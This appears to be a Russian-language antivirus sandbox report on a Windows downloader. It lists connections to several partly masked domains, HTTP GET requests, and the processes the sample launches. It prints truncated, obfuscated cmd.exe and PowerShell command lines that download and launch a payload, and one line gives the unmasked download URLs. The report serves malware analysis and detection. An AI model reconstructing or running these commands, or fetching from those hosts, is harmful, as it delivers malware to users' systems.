Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\cmd.exe, ,,,,/V^:O,,,/C",,(,(s^e^t mk1= ^ ^ ^ ^ ^ ^ ^ ^ }}{^hc^t^ac^}}kaer^b;V^j^F$^ s^s^ec^or^P^-^tr^a^tS;^)Vj^F^$^(^e^l^if^o^t^eva^s^.w^la^$^;^)ydo^B^esn^o^ps^er.^J^F^w$...
Сетевая активность
Подключается к
- 'go###oma.org':80
- 'qu###gifts.com':80
- 'in####novative.com':80
- 'li####umtracks.com':80
TCP
Запросы HTTP GET
- http://go###oma.org/fK6ez6uhzH
- http://qu###gifts.com/mLoLVcw
- http://in####novative.com/85UGLLH4pp
- http://li####umtracks.com/rYucipclqQ
UDP
- DNS ASK go###oma.org
- DNS ASK qu###gifts.com
- DNS ASK de#######eautydestination.com
- DNS ASK in####novative.com
- DNS ASK li####umtracks.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\cmd.exe, ,,,,/V^:O,,,/C",,(,(s^e^t mk1= ^ ^ ^ ^ ^ ^ ^ ^ }}{^hc^t^ac^}}kaer^b;V^j^F$^ s^s^ec^or^P^-^tr^a^tS;^)Vj^F^$^(^e^l^if^o^t^eva^s^.w^la^$^;^)ydo^B^esn^o^ps^er.^J^F^w$...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' , ,,,,/V:O,,,/C",,(,(s^e^t mk1= ^ ^ ^ ^ ^ ^ ^ ^ }}{^hc^t^ac^}}kaer^b;V^j^F$^ s^s^ec^or^P^-^tr^a^tS;^)Vj^F^$^(^e^l^if^o^t^eva^s^.w^la^$^;^)ydo^B^esn^o^ps^er.^J^F^w$^(etir^w^.w^l^a$;1^ =^...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $iFz='Fjz';$Kac='http://go###oma.org/fK6ez6uhzH@http://qualigifts.com/mLoLVcw@http://destinysbeautydestination.com/efeRuyrd@http://infoinnovative.com/85UGLLH4pp@http://livedrumtracks.com/rYucip...
